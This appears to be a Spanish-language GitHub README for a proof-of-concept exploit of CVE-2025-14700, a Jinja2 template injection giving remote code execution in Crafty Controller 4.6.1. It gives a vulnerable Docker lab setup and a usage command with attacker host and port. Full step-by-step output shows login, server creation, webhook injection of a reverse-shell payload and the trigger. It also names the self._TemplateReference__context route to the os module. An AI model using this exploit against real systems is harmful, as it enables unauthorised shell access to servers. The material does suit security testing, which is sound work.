CVE-2025-14700

PoC para CVE-2025-14700, una vulnerabilidad de inyección de plantillas del lado del servidor (SSTI) en Crafty Controller <= 4.6.1. Esta vulnerabilidad permite a los usuarios autenticados lograr la ejecución remota de código (RCE) mediante la inyección de plantillas Jinja2 maliciosas en la configuración del Webhook.

📦 Instalación

# Clone the repository
git clone https://github.com/secdongle/POC_CVE-2025-14700
cd POC_CVE-2025-14700

🛠️ Entorno de pruebas (Docker Compose)

Para configurar una instancia vulnerable de Crafty Controller 4.6.1, utiliza la siguiente configuración docker-compose.yml:

1. Crea `docker-compose.yml`

version: '3'
services:
  crafty:
    image: registry.gitlab.com/crafty-controller/crafty-4:4.6.1
    container_name: crafty-vulnerable
    ports:
      - "8443:8443"     # Web Dashboard
      - "25565:25565"   # Minecraft Server Port
    environment:
      - TZ=Asia/Shanghai
    volumes:
      - ./crafty_data:/crafty_db
    restart: unless-stopped

python poc.py -u https://10.67.3.77:8443 -l admin -lh 10.67.3.78 -lp 6699 -p 'iMbSnt@OLnBYnU%hVv0aRN2l5djUInSruxAHK2oP0j@QDs$6pkGa8dYEI!G$mLim"' [*] STEP 1: Visiting login page to retrieve initial _xsrf cookie... [*] STEP 2: Executing authentication (XSRF: 2|421c9864|03dd...) ================================================================================ [POST] https://10.67.3.77:8443/api/v2/auth/login/ -> HTTP 200 -------------------- [KEY HEADERS VALIDATION] -------------------- X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591 Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591 Referer: https://10.67.3.77:8443/login?next=%2Fpanel%2Fdashboard Content-Type: application/json -------------------- [RESPONSE BODY] ------------------------- { "status": "ok", "data": { "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k", "user_id": "1", "page": "/panel/dashboard" } } ================================================================================ [*] STEP 3: Creating exploit dummy server... ================================================================================ [POST] https://10.67.3.77:8443/api/v2/servers -> HTTP 201 -------------------- [KEY HEADERS VALIDATION] -------------------- X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k Referer: https://10.67.3.77:8443/panel/dashboard Content-Type: application/json -------------------- [RESPONSE BODY] ------------------------- { "status": "ok", "data": { "new_server_id": "d21f875b-3db0-42fa-92c7-2ba10cdf13ba" } } ================================================================================ [*] STEP 4: Injecting SSTI Reverse Shell payload... ================================================================================ [POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/webhook -> HTTP 200 -------------------- [KEY HEADERS VALIDATION] -------------------- X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k Referer: https://10.67.3.77:8443/panel/dashboard Content-Type: application/json -------------------- [RESPONSE BODY] ------------------------- { "status": "ok", "data": { "webhook_id": 13 } } ================================================================================ [*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)... [*] Sending start_server action request... ================================================================================ [POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/action/start_server -> HTTP 200 -------------------- [KEY HEADERS VALIDATION] -------------------- token: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591 X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591 Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k Referer: https://10.67.3.77:8443/panel/dashboard -------------------- [RESPONSE BODY] ------------------------- { "status": "ok" } ================================================================================ [*] Sending EULA confirmation action request... [+] POC Execution completed. Check your nc listener (LHOST/LPORT).

Opción	Descripción
`-u, --url`	URL objetivo de Crafty Controller (p. ej., `https://10.67.3.77:8443`)
`-l, --login`	Nombre de usuario para la autenticación
`-p, --password`	Contraseña para la autenticación
`-lh, --lhost`	IP del atacante para el callback de la reverse shell
`-lp, --lport`	Puerto del atacante para el callback de la reverse shell

Requisito	Estrategia del exploit
Token XSRF	Extrae `_xsrf` de las cookies y lo replica en las cabeceras `X-XSRFToken` y `token`.
Comprobación de Referer	Establece `Referer` en la ruta del panel para imitar la interacción legítima del usuario.
Mapeo de cabeceras	Mapea el valor de `_xsrf` a una cabecera `token` específica requerida por el despachador de acciones.
Payload	Aprovecha `self._TemplateReference__context` para acceder al módulo `os`.

POC_CVE-2025-14700

Más Populares

2. Inicia el entorno

3. Inicializa el controlador

🚀 Uso

Explotación de un solo objetivo

Opciones de línea de comandos

🎯 Características del exploit

📊 Análisis técnico

📝 Salida de ejemplo

⚠️ Descargo de responsabilidad